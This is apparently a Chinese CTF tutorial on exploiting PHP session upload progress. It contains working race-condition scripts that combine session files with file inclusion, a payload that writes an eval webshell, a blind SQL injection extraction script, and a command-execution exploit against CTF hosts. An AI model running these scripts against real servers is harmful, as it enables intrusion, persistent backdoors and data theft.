[toc]
今天来说一个老生常谈的东西吧,虽然已经很老了,但是在 CTF 中还是经常遇到。
Session会话储存方式
PHP将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path
。
总结常见的php-session默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行的,
默认路径
/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)
而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。
session.auto_start
:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。
session.upload_progress.cleanup = on
:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode
:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。
Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled
选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION
中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION
中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
下面给出一个php官方文档的一个进度数组的结构的样例:
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
此时在session中存放的数据看上去是这样子的:
<?php $_SESSION["upload_progress_123"] = array( // 其中存在上面表单里的value值"123" "start_time" => 1234567890, // The request time 请求时间 "content_length" => 57343257, // POST content length post数据长度 "bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量 "done" => false, // true when the POST handler has finished, successfully or not "files" => array( 0 => array( "field_name" => "file1", // Name of the <input/> field 上传区域 // The following 3 elements equals those in $_FILES "name" => "foo.avi", // 上传文件名 "tmp_name" => "/tmp/phpxxxxxx", // 上传后在服务端的临时文件名 "error" => 0, "done" => true, // True when the POST handler has finished handling this file "start_time" => 1234567890, // When this file has started to be processed "bytes_processed" => 57343250, // Amount of bytes received and processed for this file ), // An other file, not finished uploading, in the same request 1 => array( "field_name" => "file2", "name" => "bar.avi", "tmp_name" => NULL, "error" => 0, "done" => false, "start_time" => 1234567899, "bytes_processed" => 54554, ), ) );
实验环境:
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。
从上面官方的案例和结果中可以看到,session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要在上传文件的时候,同时POST一个恶意的字段 PHP_SESSION_UPLOAD_PROGRESS
,目标服务器的PHP就会自动启用Session,Session文件将会自动创建。
我们怎么将session传过去呢?这里我们需要在本地构造一个上传和POST同时进行的情况,接下来我们构造一个上传表单,把下面代码保存为poc.html:
<!doctype html> <html> <body> <form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
本地访问poc.html,然后随便上传个文件后抓包,在HTTP头中加上一个 Cookie: PHPSESSID
:
如下图所示,成功在目标主机上初始化了一个随机命名的Session:
在上面的实验中我们成功利用 PHP_SESSION_UPLOAD_PROGRESS
,目标服务器上自动创建了一个Session文件。如果此时目标网站还存在文件包含漏洞的话,我们便可以配合文件包含漏洞来Getshell。其原理大致就是通过 PHP_SESSION_UPLOAD_PROGRESS
在目标主机上创建一个含有恶意代码的Session文件,之后利用文件包含漏洞去包含这个我们已经传入恶意代码的这个Session文件就可以达到攻击效果。
详情可以看我的另一篇文章:《SESSION LFI GetShell Via SESSION.UPLOAD_PROGRESS》
但是现实是残酷的,事实上这并不能完全的利用成功,因为 PHP的 session.upload_progress.cleanup = on
这个默认选项会有限制。即文件上传结束后,PHP 将会立即清空对应Session文件中的内容,这就导致我们在包含该Session的时候相当于在包含了一个空文件,没有包含我们传入的恶意代码。所以我们需要条件竞争,赶在文件被清除前利用包含即可。
还有一个点就是,如果此时不规定目标服务器上生成的Session文件的名字,就会生成一大堆不一样的Session文件,由于该Session文件过马上就会被清除,所以根本不是知道到底要用哪一个Session文件:
所以这里还要对生成的Session文件进行重命名,规定其生成指定的名字,当然这也是可行的,就是在cookie里面修改PHPSESSID的值。假设我们修改PHPSESSID为whoami,则生成统一的Session文件——"sess_whoami"
默认情况下,session.use_strict_mode 值是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=whoami,PHP将会在服务器上创建一个session文件:/var/lib/php/sessions/sess_whoami。
使用 Python 实现创建 Session 文件的过程:
import io import requests import threading sessid = 'whoami' def POST(session): f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://192.168.43.82/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} ) with requests.session() as session: while True: POST(session) print("[+] 成功写入sess_whoami")
(1)上传文件并抓包
使用如下 poc.html 随便上传一个文件并抓包:
<!doctype html> <html> <body> <form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
如下图所示,添加一个Cookie并将PHPSESSID的值改为whoami:
这样就会生成统一名称的session文件——"sess_whoami",然后发送到Intruder不断发包,生成session,传入恶意会话。
(2)设置请求载荷 Null payloads 后不断发包,维持恶意session的存储
在这里我们不断发包,在服务器上我们可以看到生成的已传入了恶意代码的session文件:
(3)然后再去抓个包,利用目标网站上的文件包含漏洞不断去包含这个恶意会话文件
http://192.168.43.82/index.php?file=/var/lib/php/sessions/sess_whoami
这样,一边不断发包以维持恶意session存储,另一边不断发包请求包含恶意的session。如上图所示,发现包含利用成功。
当目标服务器的Web目录有权限时,利用这种方法我们可以成功在目标主机上写入Webshell,利用如下poc即可:
<!doctype html> <html> <body> <form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
上面的手动利用比较麻烦,我们可以编写利用脚本一键化完成整个攻击流程,并在目标服务器上写入Webshell。
import io import sys import requests import threading sessid = 'whoami' def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://192.168.43.82/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} ) def READ(session): while True: response = session.get(f'http://192.168.43.82/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}') # print('[+++]retry') # print(response.text) if 'flag' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
执行该利用脚本,如下图所示,成功在目标服务器中写入了Webshell:
Session反序列化漏洞的利用方式是通过传入恶意的序列化内容到指定的url,将其保存到session文件中。其本质是先将恶意内容传入,当再由另一个session选择器不同的页面重新加载session时,由于session序列化与反序列化引擎的不同,通过我们精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。
详情请参考:https://blog.csdn.net/qq_45521281/article/details/105890170
进入题目,一个登录框:
访问source.zip得到源码。
index.php:
<?php session_start(); foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach; foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach; foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach; foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach; function filter($value) { !is_string($value) AND die("Hacking attempt!"); return addslashes($value); } isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php'); isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php'); isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php'); ?>
可以看到这里将通过GET、POST、SESSION和REQUEST方法获取到的参数全部使用addslashes函数进行了过滤。
register.php:
<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; (preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!"); $sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")'; ($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!")); ?>
login.php:
<?php !isset($_SESSION) AND die("Direct access on this script is not allowed!"); include 'db.php'; $sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";'; $result = $con->query($sql); function auth($user) { $_SESSION['username'] = $user; return True; } ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!')); ?>
可以看到这里的SELECT语句本应该是可以进行联合注入的,但是由于index.php中将所有通过GET、POST、SESSION和REQUEST方法获取到的参数全部使用addslashes函数进行了过滤。所以我们要想在login.php中进行sql注入就需要绕过index.php中的过滤,那我们能否直接访问login.php进行sql注入呢?我们看到index.php中使用session_start()函数初始化了session,后面的login.php和register.php中都在开头位置使用 !isset($_SESSION) AND die("Direct access on this script is not allowed!");
判断是否存在session,如果不存在的话就退出程序,所以如果我们要直接访问login.php进行sql注入的话,还需要带上一个session才行,这里边用上了我们的 PHP_SESSION_UPLOAD_PROGRESS
了。我们可以使用 PHP_SESSION_UPLOAD_PROGRESS
来在目标服务器上初始化一个session,然后便可以绕过index.php中的检测,直接访问login.php进行sql注入了。
由于login.php中没有输出,所以我们需要进行盲注,最后给出注入的exp脚本:
import io import requests url = 'http://54445ca2-77f7-4a00-9166-2b52e9fd20ef.node3.buuoj.cn/templates/login.php' flag = '' f = io.BytesIO(b'a' * 1024 * 50) file = {"file": ('q.txt', f)} for i in range(1,250): low = 32 high = 128 mid = (low+high)//2 while(low<high): #payload = "test\" or (ascii(substr((select database()),%d,1))>%d)#" %(i,mid) #payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d)#" %(i,mid) #payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),%d,1))>%d)#" %(i,mid) payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" %(i,mid) data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"} cookie = {"PHPSESSID": "whoami"} params = { "username": payload, "password": "123456" } res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie) #print(res.text) if 'meta' in res.text: # 为真时,即判断正确的时候的条件 low = mid+1 else: high = mid mid = (low+high)//2 if(mid ==32 or mid ==127): break flag = flag+chr(mid) print(flag)
进入题目,给出源码:
代码很简单,简单的文件包含,但隐藏着巨大的玄机。乍眼一看使用php://filter伪协议包含flag.php即可得到flag,但是在PHP中,require_once()
函数在调用时PHP会检查该文件是否已经被包含过,如果是则不会再次包含,如上图的代码中flag.php已经被 require_once()
函数包含过了,所以我们就不能再使用他读取flag.php的源码了。那么我们可以尝试绕过这个机制吗?
这里预期的解法是用伪协议配合多级符号链接的办法进行绕过,但是这里既然存在文件包含,并且 session.upload_progress.enabled
选项又是默认开启的,那我们便可以利用该机制在目标服务器上写入Webshell或者执行任意代码直接读取到flag,exp如下:
import io import sys import requests import threading sessid = 'whoami' def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://2f0dc537-6285-4cc7-aff0-eea69296dbaa.node3.buuoj.cn/', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /proc/self/cwd/flag.php');?>"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} ) def READ(session): while True: response = session.get(f'http://2f0dc537-6285-4cc7-aff0-eea69296dbaa.node3.buuoj.cn/?file=../../../../../../../../tmp/sess_{sessid}') # 该题生成的session存放在/tmp目录下 # print('[+++]retry') # print(response.text) if 'flag{' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)